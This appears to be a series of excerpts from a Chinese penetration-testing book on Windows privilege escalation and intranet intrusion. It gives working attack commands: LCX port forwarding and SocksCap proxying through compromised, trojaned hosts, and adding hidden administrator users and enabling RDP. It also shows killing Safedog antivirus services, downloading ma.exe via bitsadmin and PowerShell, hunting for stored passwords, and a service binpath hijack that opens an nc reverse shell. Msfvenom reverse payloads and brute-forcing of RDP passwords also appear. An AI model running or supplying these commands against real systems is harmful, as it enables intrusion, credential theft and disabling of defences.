    {"text": "lcx.exe 是一个端口转发工具，相当于把 A 机上的 3389 端口转发到具有外网 IP 地址的 B 机上， 这样，连接 B 机的 3389 端口就相当于连接了 A 机的 3389 端口。 lcx 程序多用于被控制计算机（肉 机）处于内网的情况，被控制机可能中了木马程序，虽然能够进行控制，但还是不如使用远程终端 登录本机进行管理方便。 因此，在很多情况下，黑客会想方设法在被控制计算机上开启 3389 端口， 然后通过 LCX 等程序进行端口转发，进而从本地连接被控制计算机的远程终端并进行管理和使用。"},
    {"text": "图 1-65 确定被控制计算机的 IP 地址 39 网络攻防实战研究：漏洞利用与提权 1.7.2 在被控制计算机上执行端口转发命令 在被控制计算机上执行“lcx slave 218.69.*.* 51 192.168.80.129 3389”命令，如图 1-66 所示，执 行完毕会给出一些提示，如果显示为“Make a Connection to 218.69.*.*:51”，则表示端口转发正确。"},
    {"text": "第一条命令“lcx lister 51 3389”在具有外网独立 IP 地址的计算机上执行， 表示在本机上监听 51 端口（该端口主要用于接收被控制计算机的 3389 端口转发过来的数据）。 第二 条命令“lcx slave 218.69.*.* 51 192.168.80.129 3389”表示将本机 IP 地址为 192.168.80.129 的 3389 端口转发到远程地址为 218.69.*.*的 51 端口。"},
    {"text": "40 第 1 章 提权基础 图 1-68 成功建立连接 1.7.4 在本机上使用远程终端进行登录 在 DOS 提示符下输入“mstsc”命令，打开远程终端连接器，输入“127.0.0.1”后单击“连接” 按钮进行远程终端连接，在出现登录界面后分别输入用户名和密码，验证通过后，即可远程进入被 控制计算机的桌面。"},
    {"text": "如图 1-69 所示，输入“ipconfig /all”及“net user”命令，可以查看网络配置情 况及用户信息。 图 1-69 远程登录被控制计算机 1.7.5 查看本地连接 在被控制计算机上使用“netstat -an”命令查看当前所有的连接时，可以看到被控制计算机在与 其本身进行远程终端连接，如图 1-70 所示，而实际的 3389 端口是与本机的 51 端口连接的。"},
    {"text": "41 网络攻防实战研究：漏洞利用与提权 图 1-70 查看实际网络连接 1.8 使用 SocksCap 进行内网突破 端口映射功能用于将一台主机的“假”IP 地址（内网 IP 地址）映射成一个“真”IP 地址（外网 独立 IP 地址），当用户访问提供映射的主机的某个端口时，服务器会将请求转到局域网中某台提供 这种特定服务的主机上。 利用端口映射功能，还可以将一台“真”IP 地址计算机的多个端口映射成 内部不同计算机上的不同端口。 此外，端口映射功能可以完成一些特定的代理功能，例如代理 FTP、 POP、SMTP、Telnet 等协议。"},
    {"text": "端口映射分为动态和静态端口映射。 静态端口映射就是在 NAT 网关上开放一个固定的端口，然 后设定此端口收到的数据要转发给内网某个 IP 地址和端口，不管有没有连接，这个映射关系会一直 存在。"},
    {"text": "动态端口映射是指当内网中的一台计算机要访问一个网站（例如新浪网） 时，会向 NAT 网关发送数据包，包头中包括对方（就是新浪网）IP 地址、端口和本机 IP 地址、端 口，NAT 网关会把本机 IP 地址、端口分别替换成自己的公网 IP 地址、一个未使用的端口，并记下 这个映射关系，供以后转发数据包使用。 然后，把数据发给对方，对方收到数据后作出反应，发送 数据到 NAT 网关的那个未使用的端口，NAT 网关将数据转发给内网中的那台计算机，实现内网和公 网的通信。 当连接关闭时，NAT 网关会释放分配给这个连接的端口，以便以后的连接继续使用。 动 态端口映射其实就是 NAT 网关的工作方式。"},
    {"text": "目前，很多木马及专业软件都具有 Socks 代理功能。 在肉机（具有外网独立 IP 地址的计算机） 上安装木马或者这些软件后，肉机便具有代理功能了。 使用 SocksCap 等代理软件可以很方便地突破 内网，通过肉机访问内网中的计算机。"},
    {"text": "1.8.2 设置 SocksCap 运行 SocksCap，单击“文件”→“设置”选项，打开“SocksCap 设置”窗口，在“SOCKS 服 务器”文本框中输入 IP 地址和端口，然后选中“SOCKS 版本 5”单选按钮，在“域名解析”设置区 选中“先尝试由本地端再由远端解析”单选按钮，如图 1-71 所示，最后单击“确定”或者“应用” 按钮完成设置。 1.8.3 建立应用程序标识项 在 SocksCap 主窗口中单击“新建”图标，打开“新建应用程序标识项”窗口，在“标识项名称” 文本框中输入一个标识名称，例如本例中的“3389”，然后选择一个应用程序，如图 1-72 所示，最 后单击“确定”按钮，完成应用程序标识项的设置。 图 1-71 SocksCap 设置 图 1-72 建立应用程序标识项 说明 建立应用程序标识项的目的就是在运行 SocksCap 后 可以快速打开应用程序。 新建应用程序标识项后，会 将建立的“命令行”程序的图标自动添加到 SocksCap 的主窗口中，如图 1-73 所示。 应用程序标识项中的“命令行” （应用程序）都是由 SocksCap 代理的，即“命令行”（应用程序）可以 图 1-73 自动整理应用程序标识项 使用 Socks 代理。"},
    {"text": "43 网络攻防实战研究：漏洞利用与提权 1.8.4 运行“命令行”代理 单击“3389”应用程序标识项，打开远程终端连接界面，输入登录 IP 地址“192.168.80.129”后 单击“连接”按钮，进行 3389 登录。 在出现 3389 登录窗口后，输入用户名和密码，进入远程终端 桌面，如图 1-74 所示。 在该远程终端桌面打开命令提示符界面，输入“netstat –an”命令，可以看到 该计算机的 3389 远程终端连接是该 IP 地址本身。 图 1-74 使用 SocksCap 代理登录远程终端 技巧 在 SocksCap 主界面双击新建的“应用程序标识项”图标，可以快速打开应用程序。"},
    {"text": "1.8.5 总结与思考 借助 SocksCap 可以方便地进行内网的渗透。 使用 SocksCap 的关键就是在肉机上搭建 Socks 服 务器，如果未能在内网入口处搭建 Socks 代理服务器，仅通过使用一些 Socks 代理搜索软件搜索的 Socks 代理服务器的 IP 地址和端口是很难进入内网的。 不过，好在目前很多木马程序都提供了 Socks 代理服务器功能，仅需在进行木马初始配置时设置 Socks 代理的端口和密码，在肉机上运行木马程 序后，该肉机就成为 Socks 代理服务器了。"},
    {"text": "在实际提权过程中，常常需要通过 WebShell 来执行各 种命令，以获取操作系统（内网系统）服务器所开启的端口、进程、系统服务、已安装程序、系统 安全设置等信息。"},
    {"text": "IP 地址的获取比较简单，有的 WebShell 上会自己显示（但仅显示 IP 地址）。 在 Windows 中使用 “ipconfig /all”命令，在 Linux 中使用“ifconfig -a”命令，通过显示的信息来获取 IP 地址。 如图 1-75 所示，获取 Windows 下某主机的 IP 地址信息，其中包含了很多重要信息。 本例是无线网络，如果是 域内主机，则可以通过 DNS 等信息获取 DNS 服务器 IP 地址等。 图 1-75 获取 IP 地址信息 1.9.2 获取端口信息 我们习惯使用“netstat -an”命令来获取目前主机所有端口的开放情况及网络连接情况。 端口开 放情况也可以通过 NMap 等扫描软件获取。 使用 Netstat 一般是在有一定权限的情况下，例如获取了 3389 开放的端口等。"},
    {"text": "-b：显示包含于创建每个连接或监听端口的可执行组件。 在某些情况下，已知可执行组件拥 有多个独立组件，且包含于创建连接或监听端口的组件序列将被显示。"},
    {"text": "“netstat -anb”命令用于获取进程号（PID）、端口开放情况、开放端口程序及服务组件等信息。 “netstat -ano”命令用于获取 TCP/UDP 协议信息、端口和进程号。 “netstat -anvb”命令用于获取进 程名、对应的进程 PID、端口所用的协议、调用的可执行组件、相应的组件和第三方进程的系统 路径。"},
    {"text": "1.9.3 获取服务信息和进程信息 1．获取服务信息 在 Windows 下有很多第三方程序是通过服务运行的，如果攻击者从服务信息中获取了第三方程 序的名称，就可以利用其相关漏洞进行提权。"},
    {"text": "start /wait msinfo32.exe /report c:\\windows\\list.txt /categories swenv+SWEnvRunningTasks 获取环境变量，示例如下。 start /wait msinfo32.exe /report c:\\windows\\temp\\Startup.txt /categories swenv+SWEnvEnvVars 获取程序组信息（可以获取目标服务器所安装的软件信息），示例如下。 start /wait msinfo32.exe /report c:\\windows\\temp\\programs.txt /categories swenv+SWEnvStartupPrograms 获取启动程序相关信息，示例如下。 start /wait msinfo32.exe /report c:\\windows\\temp\\Startup.txt /categories swenv+SWEnvStartupPrograms 1.9.4 进程结束命令 在提权过程中需要关闭或者结束一些杀毒软件或者防护软件的进程。"},
    {"text": "TASKKILL [/S system [/U username [/P [password]]]] { [/FI filter] [/PID processid | /IM imagename] } [/F] [/T] 比较常用的参数是“/im”及“/f”。"},
    {"text": "图 1-76 获取所有的进程 图 1-77 结束某个进程 2．PsKill 命令 PsKill 程序是 PsTools 包中的一个子程序，其功能与 taskkill 类似，第一次运行时需要加入参数 46 第 1 章 提权基础 accepteula，即使用“pskill /accepteula”命令接受其许可。"},
    {"text": "例如，结束 notepad.exe 进程，命令为“pskill notepad”， 如图 1-78 所示。 图 1-78 PsKill 结束进程 1.9.5 用户管理命令 对 Windows 操作系统来说，系统访问一般是通过用户口令来实现的。"},
    {"text": "1．添加用户 temp 为管理员 net user temp T@#qweasd2016 /add & net Localgroup Administrators temp/Add 上面的命令可以分开写，具体如下。 net user temp T@#qweasd2016 /add net Localgroup Administrators temp /Add 查看当前系统管理员用户，命令如下。 net Localgroup Administrators 加入远程桌面用户组，命令如下。 net localgroup “Remote Desktop Users“ temp /add 查看指定用户的信息，命令如下。 Net user temp 2．激活 guest 用户 net user guest /active:yes 修改 guest 用户的密码，命令如下。 47 网络攻防实战研究：漏洞利用与提权 net user guest 1234 1.9.6 开启 3389 端口 在 Windows Server 2003 中，使用 cmd 命令开启 3389 端口，示例如下。 wmic path win32_terminalservicesetting where (__CLASS != “”) call setallowtsconnections 1 在 Windows Server 2008/7/Server 2012 中，使用 cmd 命令开启 3389 端口，示例如下。 1 wmic /namespace:\\\\root\\cimv2\\terminalservices path win32_terminalservicesetting where (__CLASS != “”) call setallowtsconnections 1 2 wmic /namespace:\\\\root\\cimv2\\terminalservices path win32_tsgeneralsetting where (TerminalName =’RDP-Tcp’) call setuserauthenticationrequired 1 3 reg add “HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server” /v fSingleSessionPerUser /t REG_DWORD /d 0 /f 在 Windows Server 2012 和 Windows 7 中只需要使用前两条命令。"},
    {"text": "本章着重介绍 Windows 提权的基础知识、Windows 中的一些提权技巧、口令扫描，以及 一些精彩的提权方法和思路。 本章主要内容 Ê Windows 提权基础 Ê 提权辅助工具 Windows-Exploit-Suggester Ê Windows 低权限进程及服务提权 Ê Windows 口令扫描及 3389 口令暴力破解 Ê 使用 WinlogonHack 获取系统密码 Ê Windows Server 2003 域控服务器密码获取 Ê MS05-039 漏洞利用实战 Ê MS08-067 远程溢出漏洞利用实战 Ê 通过 Pr 提权渗透某高速服务器 Ê 以 Public 权限渗透某 ASP.NET 网站 Ê Windows 7/2008 服务器 64 位版本 MS12-042 漏洞提权 Ê 对某虚拟主机的一次 SiteManager 提权 Ê 社工渗透并提权某服务器 Ê 通过 SQL 注入漏洞渗透某服务器并直接提权 Ê phpinfo 函数信息泄露漏洞的利用与提权 Ê 通过简单的漏洞渗透某公司内外部网络 Ê 通过文件上传漏洞渗透某 Windows 2012 服务器并提权 Ê 通过戴尔服务器远程访问管理卡获取服务器权限 2.1 Windows 提权基础 本章提及的 Windows 提权特指针对 Windows 操作系统的提权，有关数据库及应用程序的提权会 网络攻防实战研究：漏洞利用与提权 在后续章节中详细介绍。"},
    {"text": "1．操作系统的名称和版本信息 systeminfo | findstr /B /C:\"OS Name\" /C:\"OS Version\" systeminfo | findstr /B /C:\"OS 名称\" /C:\"OS 版本\" 2．主机名称和所有环境变量 主机名称：hostname 命令。"},
    {"text": "3．查看用户信息 查看所有用户：“net user”或“net1 user”命令。 查看管理员用户组： “net localgroup administrators”或“net1 localgroup administrators”命令。 查看远程终端在线用户：“query user”或“quser”命令。 4．查看远程端口 （1）通过注册表查看 运行“REG query HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp/ v PortNumber”命令。"},
    {"text": "查看已经启动的 Windows 服务：“net start”命令。 查看某服务的启动权限：“sc qc TermService”命令。 查看已安装程序的列表：“wmic product list brief”命令。 查看服务列表：“wmic service list brief”命令。 50 第 2 章 Windows 漏洞利用与提权 查看进程列表：“wmic process list brief”命令。 查看启动程序列表：“wmic startup list brief”命令 查看已安装的更新和安装日期，代码如下。"},
    {"text": "wmic qfe get Caption,De**ion,HotFixID,InstalledOn 搜索可以提升权限的特定漏洞，代码如下。 wmic qfe get Caption,De**ion,HotFixID,InstalledOn | findstr /C:\"KBxxxxxxx\" 如果执行上面的命令后没有输出，意味着那个补丁未安装。"},
    {"text": "7．检索敏感文件 dir /b /s password.txt dir /b /s *.doc dir /b /s *.ppt dir /b /s *.xls dir /b /s *.docx dir /b /s *.xlsx dir /b /s config.* filesystem findstr /si password *.xml *.ini *.txt findstr /si login *.xml *.ini *.txt 除此之外，还可以检查无人值守安装日志文件。"},
    {"text": "C:\\sysprep.inf C:\\sysprep\\sysprep.xml C:\\Windows\\Panther\\Unattend\\Unattended.xml C:\\Windows\\Panther\\Unattended.xml 8．目录文件操作 列出 d:\\www 下的所有目录，命令如下。 for /d %i in (d:\\www\\*) do @echo %i 把当前路径下文件夹名字只有 1～3 个字母的显示出来，命令如下。 for /d %i in (???) do @echo %i 以当前目录为搜索路径，把当前目录及其子目录中的全部 EXE 文件列出，命令如下。 for /r %i in (*.exe) do @echo %i 以指定目录为搜索路径，把当前目录及其子目录中的所有文件列出，命令如下。 for /r \"f:\\freehost\\hmadesign\\web\\\" %i in (*.*) do @echo %i 显示 a.txt 中的内容，因为/f 的作用，会读出 a.txt 中的内容，命令如下。 for /f %i in (c:\\1.txt) do echo %i 51 网络攻防实战研究：漏洞利用与提权 9．RAR 打包 rar a -k -r -s -m3 c:\\1.rar d:\\wwwroot 10．PHP 读文件 c:/php/php.exe \"c:/www/admin/1.php\" 11．Windows 7 及以上版本下载可以使用的 bitsadmin 和 PowerShell bitsadmin /transfern http://www.antian365.com/ma.exe d:\\ma.exe powershell (new-object System.Net.WebClient).DownloadFile(' http://www. antian365.com/ma.exe','ma.exe') 12．注册表关键字搜索 password 为关键字，可以是 vnc 等敏感关键字，命令如下。 reg query HKLM /f password /t REG_SZ /s reg query HKCU /f password /t REG_SZ /s 13．系统权限配置 cacls c:\\ cacls c:\\windows\\ma.exe //查看 ma.exe 的权限配置 14．自动收集系统有用的脚本 for /f \"delims=\" %%A in ('dir /s /b %WINDIR%\\system32\\*htable.xsl') do set \"var=%%A\" wmic process get CSName,Description,ExecutablePath,ProcessId /format:\"%var%\" >> out.html wmic service get Caption,Name,PathName,ServiceType,Started,StartMode,StartName /format:\"%var%\" >> out.html wmic USERACCOUNT list full /format:\"%var%\" >> out.html wmic group list full /format:\"%var%\" >> out.html wmic nicconfig where IPEnabled='true' get Caption,DefaultIPGateway, Description, DHCPEnabled,DHCPServer,IPAddress,IPSubnet,MACAddress /format:\"%var%\" >> out.html wmic volume get Label,DeviceID,DriveLetter,FileSystem,Capacity,FreeSpace /format:\"%var%\" >> out.html wmic netuse list full /format:\"%var%\" >> out.html wmic qfe get Caption,Description,HotFixID,InstalledOn /format:\"%var%\" >> out.html wmic startup get Caption,Command,Location,User /format:\"%var%\" >> out.html wmic PRODUCT get Description,InstallDate,InstallLocation,PackageCache,Vendor, Version /format:\"%var%\" >> out.html wmic os get name,version,InstallDate,LastBootUpTime,LocalDateTime,Manufacturer, RegisteredUser,ServicePackMajorVersion,SystemDirectory /format:\"%var%\" >> out.html wmic Timezone get DaylightName,Description,StandardName /format:\"%var%\" >> out.html 2.1.2 Windows 提权准备 通过前面的基础命令，我们可以有针对性地对目标开展提权工作。"},
    {"text": "在百度浏览器中搜索“MS10-061 site:exploit-db.com”。 访问 packetstormsecurity 网站进行搜索（https://packetstormsecurity.com/search/?q=MS16-016）。"},
    {"text": "安全焦点的 BugTraq 是一个出色的漏洞和 Exploit 数据源，可以通过 CVE 编号或者产品信息 漏洞直接搜索，网址为 http://www.securityfocus.com/bid。"},
    {"text": "2.1.3 使用 MSF 平台搜索可利用的 POC （1）搜索 POC 在 Kali 中打开 MSF 或者执行“/usr/bin/msfconsole”命令，在命令提示符下使用如下命令进行搜索。"},
    {"text": "图 2-1 搜索 2015 年所有可用的 0day 漏洞 （2）查看相关漏洞情况 可以通过微软官方网站查看漏洞所对应的版本，利用方式为“https://technet.microsoft.com/library/ security/漏洞号”。"},
    {"text": "poc.exe \"wce32.exe -w\" poc.exe \"wce64.exe -w\" poc.exe \"wce32\" 2.1.5 相关资源 1．工具 wce 下载：http : // www.ampliasecurity.com/research / windows-credentials - editor /；"},
    {"text": "http://www. ampliasecurity.Com/research/wce_v1_42beta_x32.zip ； http://www.ampliasecurity.com/research/ wce_v1_42beta_x64.zip。 sysinternals：https://technet.microsoft.com/en-us/sysinternals/bb842062。"},
    {"text": "http://www.exploitsearch.net。 http://www.securiteam.com。 http://metasploit.com/modules/。 http://securityreason.com。 https://cxsecurity.com/exploit/。 http://securitytracker.com/。"},
    {"text": "net stop \"Safedog Guard Center\" /y net stop \"Safedog Update Center\" /y net stop \"SafeDogCloudHelper\" /y 直接删除 SafeDogGuardCenter 服务，代码如下。 sc stop \"SafeDogGuardCenter\" sc config \"SafeDogGuardCenter\" start= disabled sc delete \"SafeDogGuardCenter\" sc stop \"SafeDogUpdateCenter\" sc config \"SafeDogUpdateCenter\" start= disabled sc delete \"SafeDogUpdateCenter\" sc stop \"SafeDogCloudHelper\" sc config \"SafeDogCloudHelper\" start= disabled sc delete \"SafeDogCloudHelper\" 2.2 提权辅助工具 Windows-Exploit-Suggester 本节将介绍提权辅助工具 Windows-Exploit-Suggester。"},
    {"text": "2.2.1 Windows-Exploit-Suggester 简介 Windows-Exploit-Suggester 是受 Linux_Exploit_Suggester 的启发而开发的一款提权辅助工具，其 58 第 2 章 Windows 漏洞利用与提权 官方下载地址为 https://github.com/GDSSecurity/Windows-Exploit-Suggester。"},
    {"text": "它是用 Python 开发而成 的，运行环境是 Python 3.3 及以上版本，且必须安装 xlrd 库（https://pypi.python.org/pypi/xlrd），主要 功能是通过比对 systeminfo 生成的文件发现系统是否存在未修复的漏洞。"},
    {"text": "Windows-Exploit-Suggester 通过下载微软公开漏洞库到本地“生成日期+mssb.xls”文件，然后根 据操作系统版本，与由 systeminfo 生成的文件进行比对。"},
    {"text": "2.2.2 使用 Windows-Exploit-Suggester （1）下载 Windows-Exploit-Suggester、python 3.3 及 xlrd https://www.python.org/ftp/python/3.3.3/python-3.3.3.amd64.msi https://pypi.python.org/packages/42/85/25caf967c2d496067489e0bb32df069a8361e 1fd96a7e9f35408e56b3aab/xlrd-1.0.0.tar.gz#md5=9a91b688cd4945477ac28187a54f9a3b https://codeload.github.com/GDSSecurity/Windows-Exploit-Suggester/zip/master （2）本地安装 在本地安装 Python 3.3.3 对应平台版本的程序。 安装完成后，将文件 xlrd-1.0.0.tar.gz 复制到 Python 3.3.3 安装目录下并解压，然后在命令提示符下执行“setup.py install”命令，否则第 1 次执行时会显 示“无结果”，如图 2-3 所示，提示升级或者安装 xlrd 库文件。"},
    {"text": "例如，使用命令生成 2017-03-20-mssb.xls 文 件（网上公开资料指出 2017-03-20-mssb.xlsx 是错误的），如图 2-4 所示，执行命令“windows-exploit-suggester.py --update”，生成文件 2017-03-20-mssb.xls。"},
    {"text": "图 2-4 生成漏洞库文件 （4）生成系统信息文件 使用“systeminfo > win7sp1-systeminfo.txt”命令生成 win7sp1-systeminfo.txt 文件，在真实环境 中可以将生成的文件下载到本地进行比对。 （5）查看系统漏洞 使用命令“windows-exploit-suggester.py --database 2017-03-20-mssb.xls --systeminfo win7sp1-systeminfo.txt”查看系统中存在的高危漏洞。 如图 2-5 所示为对 Windows 7 系统进行查看的结果，显 59 网络攻防实战研究：漏洞利用与提权 示 MS14-026 为可以利用的 POC。"},
    {"text": "windows-exploit-suggester.py --database 2017-03-20-mssb.xls --systeminfo win2003.txt 结果显示存在 MS09-043、MS09-004、MS09-002、MS09-001、MS08-078 和 MS08-070 远程溢出 漏洞，如图 2-6 所示。"},
    {"text": "图 2-6 查看 Windows Server 2003 存在漏洞 2．审计所有漏洞 使用以下命令对所有漏洞进行审计。 如图 2-7 所示，对 Windows Server 2003 服务器进行审计， 发现存在 24 个漏洞。"},
    {"text": "60 第 2 章 Windows 漏洞利用与提权 windows-exploit-suggester.py --audit --database 2017-03-20-mssb.xls --systeminfo win2003.txt 图 2-7 审计所有漏洞 3．搜索本地可利用的漏洞信息 带“-l”参数搜索本地存在的漏洞，命令如下。 windows-exploit-suggester.py --audit -l --database 2017-03-20-mssb.xls --systeminfo win2003-2.txt 通过审计本地漏洞发现 Windows Server 2003 未安装 SP2 补丁，存在多个本地溢出漏洞。"},
    {"text": "[M] MS13-009: Cumulative Security Update for Internet Explorer (2792100) - Critical [M] MS13-005: Vulnerability in Windows Kernel-Mode Driver Could Allow Elevation of Privilege (2778930) - Important [E] MS12-037: Cumulative Security Update for Internet Explorer (2699988) - Critical [*]http://www.exploit-db.com/exploits/35273/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5., PoC [*]http://www.exploit-db.com/exploits/34815/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5.0 Bypass (MS12-037), PoC [*][E] MS11-011: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (2393802) - Important [M] MS10-073: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (981957) - Important [M] MS10-061: Vulnerability in Print Spooler Service Could Allow Remote Code Execution (2347290) - Critical [E] MS10-059: Vulnerabilities in the Tracing Feature for Services Could Allow Elevation of Privilege (982799) - Important [E] MS10-047: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (981852) - Important [M] MS10-002: Cumulative Security Update for Internet Explorer (978207) - Critical [M] MS09-072: Cumulative Security Update for Internet Explorer (976325) - Critical 图 2-9 Windows Server 2008 R2 可利用漏洞 5．搜索漏洞 根据关键字进行搜索，例如“MS10-061”。"},
    {"text": "在搜索引擎中搜索“MS10-061 site:exploit-db.com”。 在 packetstormsecurity 网站搜索，地址为 https://packetstormsecurity.com/search/?q=MS16-016。"},
    {"text": "64 第 2 章 Windows 漏洞利用与提权 2.3 Windows 低权限进程及服务提权 在实际渗透过程中，攻击者有可能获取了操作系统中的一个普通用户账号权限或者 WebShell 权 限，通过低权限用户进行越权，从而获取系统权限。"},
    {"text": "由于其新版本中存在一些 Bug， 在实际使用时会提示需要多个 dll 文件，因此在本案例中使用的是 3.0 版本，其官方网站提供的下载 地址为 https://technet.microsoft.com/en-us/Sysinternals/bb664922.aspx。"},
    {"text": "AccessChk 主要用来检查用户和用户组对文件、目录、注册表项、全局对象和系统服务的权限情 况，在实际配置过程中如果权限设置失误，就可能被用于提权。"},
    {"text": "如果不想看到提示窗口，可以执行“accesschk.exe /accepteula”命令，其主要参数如下。 usage: accesschk [-s][-e][-u][-r][-w][-n][-v][[-a]|[-k]|[-p [-f] [-t]][-o [-t <object type>]][-c]|[-d]] [[-l [-i]]|[username]] <file, directory, registry key, process, service, object> 这个命令分为 3 个部分。 “accesschk”是程序名；"},
    {"text": "查看用户服务，查看管理员组、users 组下的所有服务，命令如下。 accesschk administrators -c * accesschk users -c * 如图 2-10 所示，可以对某个用户进行查看，主要用来提权。 例如，查看 simeon 用户所具备的读 写服务器权限，命令为“accesschk simeon -c * | find \"RW\"”或者“accesschk simeon -cw *”。 图 2-10 查看指定用户的服务权限 查看用户组中对系统服务所具备的写权限，如果有则会显示，否则会提示“No matching objects found”，具体如下。 accesschk.exe -uwcqv \"Authenticated Users\" * accesschk.exe -uwcqv \"Administrators\" * accesschk.exe -uwcqv \"Backup Operators\" * accesschk.exe -uwcqv \"Distributed COM Users\" * accesschk.exe -uwcqv \"Guests\" * accesschk.exe -uwcqv \"HelpServicesGroup\" * accesschk.exe -uwcqv \"IIS_WPG\" * accesschk.exe -uwcqv \"Network Configuration Operators\" * accesschk.exe -uwcqv \"Performance Monitor Users\" * accesschk.exe -uwcqv \"Performance Log Users\" * accesschk.exe -uwcqv \"Power Users\" * accesschk.exe -uwcqv \"Print Operators\" * accesschk.exe -uwcqv \"Remote Desktop Users\" * accesschk.exe -uwcqv \"Replicator\" * accesschk.exe -uwcqv \"TelnetClients\" * accesschk.exe -uwcqv \"Users\" * 2.3.2 获取低权限可操作服务的名称 1．实验环境 本次实验环境为 Windows Server 2003SP3，用户 simeon 属于 Power User 组，可登录系统，IP 地 址为 192.168.52.175。"},
    {"text": "2．获取可读写的服务 执行以下命令获取 Power Users 组可以操作的服务名称信息，如图 2-11 所示。 accesschk.exe -uwcqv \"Power Users\" * 66 第 2 章 Windows 漏洞利用与提权 图 2-11 获取可读写的服务名称 执行后显示结果如下。"},
    {"text": "RW DcomLaunch SERVICE_QUERY_STATUS SERVICE_QUERY_CONFIG SERVICE_CHANGE_CONFIG SERVICE_INTERROGATE SERVICE_ENUMERATE_DEPENDENTS READ_CONTROL RW kdc SERVICE_QUERY_STATUS SERVICE_QUERY_CONFIG SERVICE_CHANGE_CONFIG SERVICE_INTERROGATE SERVICE_ENUMERATE_DEPENDENTS READ_CONTROL 3．查询服务详细信息 名称为“DcomLaunch”、“kdc”的服务可以被 simeon 用户操作。"},
    {"text": "使用“sc qc kdc”命令查询 kdc 服务的详细信息，如图 2-12 所示，可以看到该服务是以系统权限运行的。 图 2-12 查询 kdc 服务的详细信息 4．确定使用的服务 执行命令“net start”查看系统目前已经启动的服务，也可以使用以下命令直接获取。"},
    {"text": "如图 2-13 所示，在启动服务列表中发现“DCOM Server Process Launcher”服务的名称。 net start | find \"DCOM Server Process Launcher\" net start | find \"Kerberos Key Distribution Center\" 67 网络攻防实战研究：漏洞利用与提权 图 2-13 获取服务名称 5．获取服务名称所对应的服务 使用命令“tasklist /svc”，如图 2-14 所示，获取“DCOM Server Process Launcher”服务名称所对 应的服务“DcomLaunch”。 图 2-14 获取 DcomLaunch 服务信息 2.3.3 修改服务并获取系统权限 1．修改服务参数 binpath 的值 使用 sc 命令对服务进行修改，具体如下。 sc config DcomLaunch binpath= \"C:\\windows\\temp\\nc.exe -nv 192.168.52.215 4433 -e C:\\WINDOWS\\System32\\cmd.exe\" 如图 2-15 所示，执行命令后，显示修改服务配置成功。 再次使用“sc qc DcomLaunch”命令， 执行文件已经更改为“C:\\windows\\temp\\nc.exe -nv 192.168.52.215 4433 -e C:\\WINDOWS\\System32\\ cmd.exe”。"},
    {"text": "图 2-15 修改 binpath 的值 68 第 2 章 Windows 漏洞利用与提权 2．重新启动服务 先执行“sc config DcomLaunch obj= \".\\LocalSystem\" password= \"\"”命令，然后使用“net start DcomLaunch”命令启动（也可以通过 services.msc 服务管理器重启该服务），如图 2-16 所示。 图 2-16 重新启动服务 3．反弹获取服务器权限 如图 2-17 所示，在反弹服务器 192.168.52.215 中监听 4433 端口，成功获取来自 192.168.52.175 的反弹，且为系统权限。 图 2-17 反弹获取服务器权限 4．总结 在 Windows XP、Windows Server 2003、Windows 7（32/64）下有一些 dll 文件也可以被替换，具 体如下。"},
    {"text": "用 Linux MSF 监听 4433 端口，命令如下。 ./msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.52.215 lport=4433 -f exe -o /tmp/my_payload.exe 在 Windows 下监听 4433 端口，命令如下。 ./msfvenom -p windows/shell_reverse_tcp lhost=192.168.52.215 lport=4433 -f exe -o /tmp/w.exe 在 MSF 上执行如下命令。 set payload windows/meterpreter/reverse_tcp show options set lhost 192.168.52.215 set lport 4433 run 0 将生成的“/tmp/my_payload.exe”按照本书的方法执行，即可得到反弹的 WebShell。"},
    {"text": "2.4 Windows 口令扫描及 3389 口令暴力破解 在 Windows 操作系统渗透过程中，除了 SQL 注入、Web 服务漏洞攻击等方式外，还有一种攻击 方式，即暴力破解。 通过对 3389 或者内网的服务器进行口令扫描攻击，可以获取更多的服务器权限。"},
    {"text": "本节主要介绍如何进行口令扫描，以及如何利用 Tscrack、Fast RDP Brute 等工具软件来暴力破 解 3389 口令，最终获取服务器权限。 2.4.1 口令扫描准备工作 在进行口令扫描前需要做一些准备工作，收集的信息越多，越有可能成功获取内网服务器权限。"},
    {"text": "密码字典的整理尤其重要，包括网站使用过的密 码、社工库邮件地址或者通过用户名查询到的密码、公司名称、电话号码、出生日期、手机号码、 QQ 号码等。"},
    {"text": "70 第 2 章 Windows 漏洞利用与提权 2.4.2 使用 NTscan 扫描口令 Windows 口令扫描攻击主要针对某个 IP 地址或者某个网段进口令扫描，实质是通过 139、445 等端口尝试建立连接，利用的是 DOS 命令“net use \\\\ipaddress\\admin$ \"password\" /u:user”，只不过通 过程序来实现而已。"},
    {"text": "1．设置 NTscan 直接运行 NTscan，在 NTscan 中一般只需要设置开始和结束 IP 地址，其他设置均可采用默认， 如图 2-18 所示。 图 2-18 设置 NTscan 说明 如果是在肉机上精细管理扫描，由于语言版本的不同，如果操作系统不支持中文，就有可能显 示为乱码，这个时候就只能凭熟悉度来进行设置了。 本例是在英文操作系统中使用 NTscan，在其运 行界面中一些汉字虽然显示为“?”，但是不影响扫描，如图 2-19 所示。 图 2-19 NTscan 乱码显示 71 网络攻防实战研究：漏洞利用与提权 在 NTscan 中有 IPC、SMB 和 WMI 共 3 种扫描方式，第 1 种和第 3 种方式扫描口令较为有效， 第 2 种主要用来扫描共享文件。"},
    {"text": "SMB（服务器信息块）协议是一种 IBM 协议，用于在计算机 间共享文件、打印机、串口等。 SMB 协议可以用在因特网的 TCP/IP 协议之上，也可以用在其他网 络协议（例如 IPX 和 NetBEUI）之上。"},
    {"text": "例如，用户可以在远程计算机器上启动一 个进程，设定一个在特定日期和时间运行的进程，远程启动计算机，获得本地或远程计算机中已安 装程序的列表，查询本地或远程计算机的 Windows 事件日志等。"},
    {"text": "一般情况下，在本地计算机上执行 的 WMI 操作也可以在远程计算机上执行，只要用户拥有该计算机的管理员权限即可。 如果用户对远 程计算机拥有权限且远程计算机支持远程访问，那么用户就可以连接该远程计算机并执行相应权限 的操作了。"},
